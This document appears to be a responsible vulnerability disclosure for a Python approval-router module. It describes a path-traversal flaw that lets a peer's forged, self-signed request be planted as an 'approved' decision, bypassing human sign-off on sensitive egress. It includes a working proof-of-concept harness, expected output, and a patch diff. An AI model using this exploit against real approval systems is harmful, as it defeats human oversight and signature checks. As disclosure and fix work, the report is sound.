Component: primitives/approval_router.py — receive_incoming() (mesh intake, reached from routes/relay.py::try_dispatch on kind "approval_request"), and its consumer wait_for_decision() as read at station_llm.py (the egress-escalation path).
The defect.
An incoming peer approval_request is filed by request_id with no sanitisation of that field:
p = os.path.join(_pending_dir(ws), body["request_id"] + ".json") # line 313
tmp = p + ".tmp"
with open(tmp, "w", encoding="utf-8") as f:
json.dump(body, f, indent=2)
os.replace(tmp, p)
request_id arrives from the peer's envelope. The only intake check is body.get("schema") != REQUEST_SCHEMA, and REQUEST_SCHEMA is a plain string constant ("railcall_approval_request.v1"), not a validated JSON-Schema — there is no pattern on request_id and no additionalProperties bound anywhere in the intake path (grep for jsonschema / pattern / re. over approval_router.py and relay.py is empty). So request_id = "../approval_decisions/<rid>" makes the join resolve into the sibling directory approval_decisions/, and the write is open("w") + os.replace — an unconditional overwrite, not O_EXCL.
approval_decisions/ is exactly where the signature-verified decisions live. The write path that normally populates it — receive_decision() — enforces _verify() (ed25519 over the canonical doc) plus _expected_approver() before writing. The traversal writes into that directory without going through receive_decision, so neither gate runs. The consumer does not compensate:
def wait_for_decision(ws, request_id, ...):
p = os.path.join(_decisions_dir(ws), request_id + ".json")
...
with open(p, "r", encoding="utf-8") as f:
return json.load(f) # returned as-is; no signature / schema / type re-check
and the caller trusts the field directly:
decision_doc = _ar.wait_for_decision(WS, req_doc["request_id"], timeout_sec=600, ...)
if decision_doc.get("decision") == "approved":
receipt_decision = "approved" # sensitive egress proceeds
The in-code comment at the caller states the decision "can't be forged by a different valid signer (#7)" — that guarantee is upheld only for the receive_decision path. The receive_incoming traversal reaches the same file without it.
A malicious approval_request that (a) keeps schema == REQUEST_SCHEMA to pass the intake check, (b) sets request_id = "../approval_decisions/<victim_rid>", and (c) carries an extra "decision":"approved" field, self-signed by the sender's OWN key, is accepted (the signature verifies against the requester_pubkey the doc itself names), files into approval_decisions/<victim_rid>.json, and is then read back by the waiting workflow as an approval.
Reproduction (standalone harness, run against workbench/ on sys.path).
import os, json, hashlib, tempfile, sys
import railcall_signing as RS
from primitives import approval_router as ar
WS = tempfile.mkdtemp(prefix="rc_forge_") # solo station: NO intake allowlist configured
os.makedirs(os.path.join(WS, "approval_pending"), exist_ok=True)
os.makedirs(os.path.join(WS, "approval_decisions"), exist_ok=True)
VICTIM_RID = "areq_20260817T120000Z_deadbeef" # a request the victim is blocking on
seed = os.urandom(32) # attacker's OWN keypair — not trusted by the victim
pub = RS._publickey_from_seed(seed); pub_hex = pub.hex()
doc = {
"schema": ar.REQUEST_SCHEMA, # passes the string check
"request_id": "../approval_decisions/" + VICTIM_RID,
"requester_pubkey": pub_hex,
"approver_pubkey": "", # empty → "addressed to us" check is skipped
"workflow_id": "x", "step_id": "1",
"decision": "approved", # the field the consumer trusts
"approver_reason": "forged",
}
digest = hashlib.sha256(ar._canonical_bytes(doc)).hexdigest()
doc["signature"] = {"alg": "ed25519", "sig": RS._sign_raw(digest.encode(), seed, pub).hex()}
ar.receive_incoming(WS, {"kind": "approval_request", "body": doc})
planted = os.path.join(WS, "approval_decisions", VICTIM_RID + ".json")
print("file landed in approval_decisions/:", os.path.isfile(planted))
d = ar.wait_for_decision(WS, VICTIM_RID, timeout_sec=1, poll_sec=0.2)
print("decision consumed:", repr(d.get("decision")),
"| real approver_pubkey:", repr(d.get("approver_pubkey")))
Expected raw output on vulnerable code:
file landed in approval_decisions/: True
decision consumed: 'approved' | real approver_pubkey: ''
The waiting workflow proceeds on an "approved" that no approver ever signed.
Scope (stated honestly).
The code chain is unconditional and reproduced end-to-end above: unsanitised traversal at intake + no verification at consumption. Turning it into a remote governance bypass adds three operational preconditions, stated plainly:
Intake trust: receive_incoming files unknown senders only when NO intake policy is configured (the solo-station default) — it tags them "unverified" but still writes. A station with an approval_allowlist / team manifest requires the attacker to be a listed peer.
request_id knowledge: the target's request_id (format areq_<utc>_<8hex>) is not secret to the relay — push_request POSTs the full request_doc, request_id included, to the Relay, and the Relay default is an external host. A shared or curious relay, or a peer that can read the queued request, learns it; a strict target-only relay withholds it.
* Timing: the consumer blocks for up to 600 s (wait_for_decision timeout on the egress path), so winning the write race inside that window is not tight.
Under those, the effect is a forged human-approval + signature bypass on a sensitive egress — the exact control the approval mesh exists to enforce. Absent the request_id, the same primitive is still an unauthenticated "../"-controlled .json write into the workspace (overwrites arbitrary .json within process scope). Distinct from the earlier approval single-use / mesh-replay reports (those are the locked consume paths); this is the intake filename and the unverified read.
Fix.
Two independent cuts; either breaks the chain, both is better. (1) Constrain request_id at intake to its documented shape before it is ever used as a path segment. (2) Make the consumer prove the file is a signed decision from the expected approver, not merely present in the directory.
--- a/workbench/primitives/approval_router.py
+++ b/workbench/primitives/approval_router.py
@@
+import re
+_RID_RE = re.compile(r"\A areq_[0-9A-Za-z]+_[0-9a-f]{8} \Z", re.ASCII | re.VERBOSE)
+
+def _safe_rid(rid):
+ rid = str(rid or "")
+ if not _RID_RE.match(rid):
+ raise ValueError("request_id fails the areq_<utc>_<8hex> format")
+ return rid
@@ def receive_incoming(ws, event):
- p = os.path.join(_pending_dir(ws), body["request_id"] + ".json")
+ p = os.path.join(_pending_dir(ws), _safe_rid(body["request_id"]) + ".json")
@@ def wait_for_decision(ws, request_id, *, timeout_sec=900, poll_sec=1.0):
- p = os.path.join(_decisions_dir(ws), request_id + ".json")
+ p = os.path.join(_decisions_dir(ws), _safe_rid(request_id) + ".json")
@@
if os.path.isfile(p):
try:
with open(p, "r", encoding="utf-8") as f:
- return json.load(f)
+ doc = json.load(f)
+ # residency in approval_decisions/ is not proof of authenticity — a decision
+ # must be the right schema and carry the expected approver's valid signature.
+ if doc.get("schema") != DECISION_SCHEMA:
+ continue
+ ok, _ = _verify(doc, _expected_approver(ws, request_id) or "")
+ if not ok:
+ continue
+ return doc
(receive_decision at line 418 takes the same _safe_rid guard.)
Classification: CWE-22 (path traversal) → CWE-345 (insufficient verification of data authenticity)